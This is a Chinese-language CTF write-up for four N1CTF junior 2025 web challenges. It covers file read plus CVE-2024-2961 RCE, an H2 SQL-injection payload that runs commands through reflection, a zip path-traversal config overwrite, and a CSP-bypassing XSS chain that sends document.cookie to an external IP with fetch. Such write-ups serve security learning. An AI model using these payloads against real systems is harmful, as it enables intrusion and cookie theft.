N1CTF junior 2025 Web(复现)
说实话很久没水博客了,感觉自己自从大二以来对CTF的热情就越来越低,各种事情压过来,什么协会,攻防,社工,明明才大二,领导安排的任务一个比一个离谱,没有报酬还占用一堆时间,当然这些可能也是是我自己心里逃避的借口而已,但不知道为什么就是累,好了不能再这么下去了😠,开始学习。还有感谢bao师傅提供的附件
Gavatar

upload.php很明显当上传的文件为空时会进入url的判断,将url指向的文件写入到$avatarPath
而远程文件读取利用的函数是file_get_contents,那么我们就可以进行任意文件的读取然后写入到$avatarPath
,而再读取头像的avatar.php下我们可以发现无需知道$avatarPath
就可以读取到头像,虽然user[id]是随机数但是无影响
但仅仅是文件读取的话我们是无法得到flag的,这里还需要使用到CVE-2024-2961
这里我利用珂字辈师傅拆解出的脚本来跑payload
https://github.com/kezibei/php-filter-iconv
读取/proc/self/maps
1 | php://filter/convert.base64-encode/resource=/proc/self/maps |


然后根据maps来读取/usr/lib/x86_64-linux-gnu/libc.so.6
然后rce
注意不要进行url编码,因为系统不会自动解码

EasyDB

看web的路由会发现没有多少代码。
看一下其登陆逻辑
可以发现其直接将sql语句拼接然后继续check
而check里只禁了命令执行的类和方法名。
那么这里就可以进行sql注入。但是我们需要rce才可以得到flag
而这题使用的数据库为h2数据库。这个数据库可以使用堆叠注入利用CREATE来创建函数别名进而进行命令执行
这里使用反射来绕过黑名单

1 | username=admin'%3b+CREATE+ALIAS+AE+AS+$$+void+e(String+cmd)+throws+Exception{Class+clazz+%3d+Class.forName("java.lang.R"%2b"untime")%3bObject+RT%3d+clazz.getMethod("getR"%2b"untime").invoke(null)%3bclazz.getMethod("exe"%2b"c",String.class).invoke(RT,cmd)%3b}$$%3bCALL+AE('calc')%3b--+&password=123 |

traefik

这题我们可以看到当我们带着xff头并且为127.0.0.1时返回flag,但是这道题目我们无法在发包时使用xff。
这时候我们看文件上传其会进行解压操作,这时候的思路就是
1.软链接来覆盖文件夹
2.直接压缩名字为 ../../.config/dynamic.yml的压缩包。
软链接这个方法我在上传第二个压缩包即文件压缩包bp返回了报错
那么只好采取方法二了,因为我们使用linux是无法直接将../../../xxx这种文件直接压缩的所有我们要使用python的压缩库
1 | http: |
1 | import zipfile |
display

index.html可以发现是导入了index.js文件

二index.js的内容获取url上的参数text然后通过atob来base64解码,然后过一下白名单,其白名单只允许我们使用h头。
但是我们看一下的代码1
2textInput.innerHTML = sanitizedText; // 写入预览区
contentDisplay.innerHTML = textInput.innerText;
innerText 用于获取可见文件这样而上面的操作导致我们输入的参数会经过innerText而innerText在遇到实体编码时会将其解码。我们就可以使用html实体编码绕过。
但是这样还有一个问题就是Dom解析器并不会解析script标签了。
这是我们可以使用<iframe>
来嵌入子页面这会让script重写解析script标签

1 | http://192.168.20.144:8000/?page=1&text=Jmx0O2lmcmFtZSBzcmNkb2M9JnF1b3Q7Jmx0O3NjcmlwdCZndDthbGVydCgxMjMpJmx0Oy9zY3JpcHQmZ3Q7JnF1b3Q7Jmd0OyZsdDsvaWZyYW1lJmd0Ow== |
可是我们还需要绕过CSP
我们看CSP中script-src为self那么我们就只能加载同源脚本即通过src来加载而不能直接通过<script>alert(123)</script>
的方法来允许脚本。
而我们在404页面可以发现
其通过报错会把我们输入的路径进行返回。那么我们只要将脏数据简单绕一下就可以通过src标签来加载报错路径的js代码
那么我们在index的payload就出来了1
<iframe srcdoc="<script src='**/alert(123)//'></script>">
src的内容其实就是页面的内容。src的作用其实就类似于将页面内容放到<script>
内
接下来用fetch来外联即可
1 | <iframe srcdoc="<script src='**/fetch(`http://111.230.38.159:7777`+document.cookie)//'></script>"> |
1 | <iframe srcdoc="<script src='**/fetch(`http://111.230.38.159:7777`+document.cookie)//'></script>"> |
···
{“text”:”Jmx0O2lmcmFtZSZzb2w7c3JjZG9jJmVxdWFsczsmcXVvdDsmbHQ7c2NyaXB0JnNvbDtzcmMmZXF1YWxzOyZhcG9zOyZhc3Q7JmFzdDsmc29sO2ZldGNoJmxwYXI7JmdyYXZlO2h0dHAmY29sb247JnNvbDsmc29sOzExMSZwZXJpb2Q7MjMwJnBlcmlvZDszOCZwZXJpb2Q7MTU5JmNvbG9uOzc3NyZzb2w7JmdyYXZlOyZwbHVzO2RvY3VtZW50JnBlcmlvZDtjb29raWUmcnBhcjsmc29sOyZzb2w7JmFwb3M7Jmd0OyZsdDsmc29sO3NjcmlwdCZndDsmcXVvdDsmZ3Q7DSZOZXdMaW5lOw==”}
···